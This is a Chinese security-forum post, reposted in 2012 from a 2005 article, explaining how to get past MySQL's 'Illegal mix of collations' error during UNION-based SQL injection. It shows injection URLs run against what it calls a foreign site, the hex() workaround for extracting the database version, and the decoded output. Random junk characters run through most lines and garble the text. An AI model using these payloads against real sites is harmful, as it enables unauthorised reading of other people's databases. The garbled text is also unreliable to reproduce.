找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本文作者:SuperHei3 a3 d& t/ {% T3 m) v3 K; s
文章性质:原创
6 J' ~8 e8 \! K2 K! M发布日期:2005-10-18
9 d) U3 b; R" a- _, c1 @测试个国外的站时:  {7 d* {5 h1 K2 L% R  H
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*; O9 R+ G- U' L
返回错误:
+ [1 `, A) u! k, i# i' XIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
# t' J0 w+ X$ c6 ~MySQL Error No. 1268 g) l( o$ C. Q9 V1 Q  }
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。6 b& V' k, N, @' z
解决办法:转为其他编码如hex。
' |! e6 V% H5 a/ c/ V1 t5 o4 ?url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*( u7 a& V- f, ^. ~0 h
成功得到hex(version())的值为:
4 h9 o! P" [( g5 F, }/ o342E312E332D626574610 \: ?# ]- V* M, w2 f
回Mysql查询下得到:
+ ~, h0 t. E+ [3 G9 a: Umysql> select 0x342E312E332D62657461;) W/ l8 X1 s& `; |8 \0 ~2 a
+------------------------+
1 p2 C5 n( l0 ~6 c# r! c. p| 0x342E312E332D62657461 |  C. C$ @( H) Q) A' ]
+------------------------+/ {% u9 [( Q" a9 V5 [+ M1 V4 N& q& g
| 4.1.3-beta |8 U- ?; X+ n5 u  o. ^2 q
+------------------------+2 C* T# p) T( Z4 X' |/ Y
1 row in set (0.00 sec)
# l2 b& s. z9 v, g
$ }% }- e- p1 Z+ f; C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表